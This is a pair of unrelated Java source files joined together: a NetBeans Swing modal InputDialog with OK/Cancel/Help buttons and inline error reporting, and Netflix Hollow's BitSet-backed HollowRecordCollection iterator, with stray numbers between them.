javax.swing.JButton; import javax.swing.JDialog; import javax.swing.JLabel; import javax.swing.JPanel; import org.netbeans.modules.j2ee.sun.share.configbean.Utils; import org.openide.awt.Mnemonics; import org.openide.util.HelpCtx; /* A modal dialog object with Ok, Cancel, Help buttons and an optional required * field notation. * * This object supports inline error message reporting. * * @author <NAME> * Enhancements by <NAME> * @version %I%, %G% */ public abstract class InputDialog extends JDialog implements HelpCtx.Provider { /** Represents clicking on the Cancel button or closing the dialog */ public static final int CANCEL_OPTION = 0; /** Represents clicking on the OK button */ public static final int OK_OPTION = 1; /** Represents clicking on the HELP button */ public static final int HELP_OPTION = 2; private final ResourceBundle bundle = ResourceBundle.getBundle( "org.netbeans.modules.j2ee.sun.share.configbean.customizers.common.Bundle"); //NOI18N private int chosenOption; private JPanel buttonPanel; private JButton okButton; private JButton helpButton; private JPanel messagePanel; private List errorList; private List warningList; /** Creates a new instance of modal InputDialog * @param panel the panel from this dialog is opened * @param title title for the dialog */ public InputDialog(JPanel panel, String title) { this(panel, title, false, false); } /** Creates a new instance of modal InputDialog * @param panel the panel from this dialog is opened * @param title title for the dialog * @param showRequiredNote set this if you want a '* denotes required field' * message in the lower left hand corner. */ public InputDialog(JPanel panel, String title, boolean showRequiredNote) { this(panel, title, showRequiredNote, false); } /** Creates a new instance of modal InputDialog * @param panel the panel from this dialog is opened * @param title title for the dialog * @param showRequiredNote set this if you want a '* denotes required field' * message in the lower left hand corner. * @param resizeMsg set this to true if you want the error message panel to * resize vertically if the user expands the dialog. Useful for dialogs that * can have multiple warnings. */ public InputDialog(JPanel panel, String title, boolean showRequiredNote, boolean resizeMsg) { super(getFrame(panel), title, true); addWindowListener(new WindowAdapter(){ public void windowClosing(WindowEvent e) { chosenOption = CANCEL_OPTION; } }); Object buttonPanelConstraints; if(!resizeMsg) { // default to borderlayout... getContentPane().setLayout(new BorderLayout()); buttonPanelConstraints = BorderLayout.SOUTH; } else { // for resizing button panels, we need gridbag. getContentPane().setLayout(new GridBagLayout()); GridBagConstraints constraints = new GridBagConstraints(); constraints.anchor = GridBagConstraints.SOUTH; constraints.gridwidth = GridBagConstraints.REMAINDER; constraints.fill = GridBagConstraints.HORIZONTAL; constraints.weightx = 1.0; buttonPanelConstraints = constraints; } // Create button panel -- using gridbaglayout now due to possible // message label on left hand side (in addition to buttons on right // hand side) and error text area above the buttons. buttonPanel = new JPanel(); buttonPanel.setLayout(new GridBagLayout()); messagePanel = new JPanel(); messagePanel.setLayout(new GridBagLayout()); messagePanel.getAccessibleContext().setAccessibleName(bundle.getString("ACSN_ErrorTextArea")); // NOI18N messagePanel.getAccessibleContext().setAccessibleDescription(bundle.getString("ACSD_ErrorTextArea")); // NOI18N GridBagConstraints gridBagConstraints = new GridBagConstraints(); gridBagConstraints.gridwidth = GridBagConstraints.REMAINDER; gridBagConstraints.fill = GridBagConstraints.BOTH; gridBagConstraints.insets = new Insets(6,12,5,11); gridBagConstraints.weightx = 1.0; buttonPanel.add(messagePanel, gridBagConstraints); if(showRequiredNote) { JLabel requiredNote = new JLabel(); requiredNote.setText(bundle.getString("LBL_RequiredMessage")); // NOI18N gridBagConstraints = new GridBagConstraints(); gridBagConstraints.insets = new Insets(6,12,11,5); gridBagConstraints.anchor = GridBagConstraints.SOUTHWEST; buttonPanel.add(requiredNote, gridBagConstraints); } okButton = new JButton(bundle.getString("LBL_OK")); // NOI18N gridBagConstraints = new GridBagConstraints(); gridBagConstraints.insets = new Insets(6,6,11,5); gridBagConstraints.anchor = GridBagConstraints.EAST; gridBagConstraints.weightx = 1.0; okButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent e){ chosenOption = OK_OPTION; actionOk(); } }); okButton.getAccessibleContext().setAccessibleName(bundle.getString("ACSN_OK")); // NOI18N okButton.getAccessibleContext().setAccessibleDescription(bundle.getString("ACSD_OK")); // NOI18N buttonPanel.add(okButton, gridBagConstraints); JButton cancelButton = new JButton(bundle.getString("LBL_Cancel")); // NOI18N gridBagConstraints = new GridBagConstraints(); gridBagConstraints.insets = new Insets(6,0,11,5); gridBagConstraints.anchor = GridBagConstraints.EAST; cancelButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent e){ chosenOption = CANCEL_OPTION; actionCancel(); } }); cancelButton.getAccessibleContext().setAccessibleName(bundle.getString("ACSN_Cancel")); // NOI18N cancelButton.getAccessibleContext().setAccessibleDescription(bundle.getString("ACSD_Cancel")); // NOI18N buttonPanel.add(cancelButton, gridBagConstraints); helpButton = new JButton(); Mnemonics.setLocalizedText(helpButton, bundle.getString("LBL_Help")); // NOI18N gridBagConstraints = new GridBagConstraints(); gridBagConstraints.gridwidth = GridBagConstraints.REMAINDER; gridBagConstraints.insets = new Insets(6,0,11,11); gridBagConstraints.anchor = GridBagConstraints.EAST; helpButton.addActionListener(new ActionListener(){ public void actionPerformed(ActionEvent e){ chosenOption = HELP_OPTION; actionHelp(); } }); helpButton.getAccessibleContext().setAccessibleName(bundle.getString("ACSN_Help")); // NOI18N helpButton.getAccessibleContext().setAccessibleDescription(bundle.getString("ACSD_Help")); // NOI18N buttonPanel.add(helpButton, gridBagConstraints); getContentPane().add(buttonPanel, buttonPanelConstraints); getRootPane().setDefaultButton(okButton); } /** Displays the dialog. * @return identifies whether the OK button or Cancel button was selected */ public int display() { this.setVisible(true); return chosenOption; } protected void actionOk() { super.dispose(); } protected void actionCancel() { super.dispose(); } protected void actionHelp() { Utils.invokeHelp(getHelpId()); } protected abstract String getHelpId(); /** Seeks for the nearest Frame containg this component. */ public static Frame getFrame(Component component) { while (!(component instanceof Frame)){ component = component.getParent(); } return ((Frame) component); } /** Enables to place this dialog in the middle of the given panel. * @param panel where the dialog should be placed */ protected void setLocationInside(JPanel panel) { java.awt.Rectangle rect = this.getBounds(); int width = rect.width; int height = rect.height; java.awt.Rectangle panelRect = panel.getBounds(); if (width > panelRect.width || height > panelRect.height) { setLocationRelativeTo(panel); } else { java.awt.Point location = panel.getLocationOnScreen(); setLocation(location.x + (panelRect.width - width) / 2, location.y + (panelRect.height - height) / 2); } } /** Simple enable/disable mechanism for the ok button - this should be improved * to allow specification of which button, or a range of buttons, where the * buttons are specified by enums (using typesafe enum pattern). */ protected void setOkEnabled(boolean flag) { okButton.setEnabled(flag); } /** Shows the errors at the top of dialog panel. * Set focus to the focused component. */ public void showErrors() { boolean hasErrors = false; // clear existing errors first. messagePanel.removeAll(); if(warningList != null && warningList.size() > 0) { for(Iterator iter = warningList.iterator(); iter.hasNext();) { String message = iter.next().toString(); // Add warning message JLabel label = new JLabel(); label.setIcon(Util.warningMessageIcon); label.setText("<html>" + message + "</html>"); // NOI18N label.getAccessibleContext().setAccessibleName(bundle.getString("ASCN_WarningMessage")); // NOI18N label.getAccessibleContext().setAccessibleDescription(message); label.setForeground(Util.getWarningForegroundColor()); GridBagConstraints constraints = new GridBagConstraints(); constraints.gridwidth = GridBagConstraints.REMAINDER; constraints.fill = GridBagConstraints.HORIZONTAL; constraints.weightx = 1.0; messagePanel.add(label, constraints); } } if(errorList != null && errorList.size() > 0) { hasErrors = true; for(Iterator iter = errorList.iterator(); iter.hasNext();) { String message = iter.next().toString(); // Add error message JLabel label = new JLabel(); label.setIcon(Util.errorMessageIcon); label.setText("<html>" + message + "</html>"); // NOI18N label.getAccessibleContext().setAccessibleName(bundle.getString("ASCN_ErrorMessage")); // NOI18N label.getAccessibleContext().setAccessibleDescription(message); label.setForeground(Util.getErrorForegroundColor()); GridBagConstraints constraints = new GridBagConstraints(); constraints.gridwidth = GridBagConstraints.REMAINDER; constraints.fill = GridBagConstraints.HORIZONTAL; constraints.weightx = 1.0; messagePanel.add(label, constraints); } } // Layout the dialog again to account for new or removed messages. validate() // is not used here because the dialog may need to be resized to look nice. pack(); // Display errors and warnings (if any) and disable/enable the OkButton as appropriate setOkEnabled(!hasErrors); } protected void setErrors(Collection errors, Collection warnings) { warningList = new ArrayList(warnings); errorList = new ArrayList(errors); showErrors(); } /** Sets the existing error list to the collection of errors passed in. * @param errors Collection of error messages. */ protected void setErrors(Collection errors) { setErrors(errors, Collections.EMPTY_LIST); } /** Adds an warning string to the warning list. * @param warning error message */ public void addWarning(String warning) { if(warningList == null) { warningList = new ArrayList(); } warningList.add(warning); showErrors(); } /** Adds a collection of warnings to the warning list. * @param warnings Collection of warning messages. */ protected void addWarnings(Collection warnings) { if(warningList == null) { warningList = new ArrayList(warnings); } else { warningList.addAll(warnings); } showErrors(); } /** Adds an error string to the error list. * @param error error message */ public void addError(String error) { if(errorList == null) { errorList = new ArrayList(); } errorList.add(error); showErrors(); } /** Adds a collection of errors to the error list. * @param errors Collection of error messages. */ protected void addErrors(Collection errors) { if(errorList == null) { errorList = new ArrayList(errors); } else { errorList.addAll(errors); } showErrors(); } /** Clears out all error messages. */ protected void clearErrors() { warningList = null; errorList = null; showErrors(); } /** Test if the error list is filled or not. * @return true if there are errors, false if not. */ public boolean hasErrors() { boolean result = false; if(errorList != null && errorList.size() > 0) { result = true; } return result; } /** ----------------------------------------------------------------------- * Implementation of HelpCtx.Provider interface */ public HelpCtx getHelpCtx() { return new HelpCtx(getHelpId()); } protected void setButtonPanelPreferredSize(Dimension dimension){ buttonPanel.setMinimumSize(dimension); buttonPanel.setPreferredSize(dimension); } }
6,181
1,103
/* * Copyright 2016-2019 Netflix, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ package com.netflix.hollow.core.util; import java.util.AbstractCollection; import java.util.BitSet; import java.util.Iterator; public abstract class HollowRecordCollection<T> extends AbstractCollection<T> { private final BitSet populatedOrdinals; public HollowRecordCollection(BitSet populatedOrdinals) { this.populatedOrdinals = populatedOrdinals; } @Override public Iterator<T> iterator() { return new Iterator<T>() { private int ordinal = populatedOrdinals.nextSetBit(0); public boolean hasNext() { return ordinal != -1; } @Override public T next() { T t = getForOrdinal(ordinal); ordinal = populatedOrdinals.nextSetBit(ordinal + 1); return t; } @Override public void remove() { throw new UnsupportedOperationException(); } }; } @Override public int size() { return populatedOrdinals.cardinality(); } protected abstract T getForOrdinal(int ordinal); }
686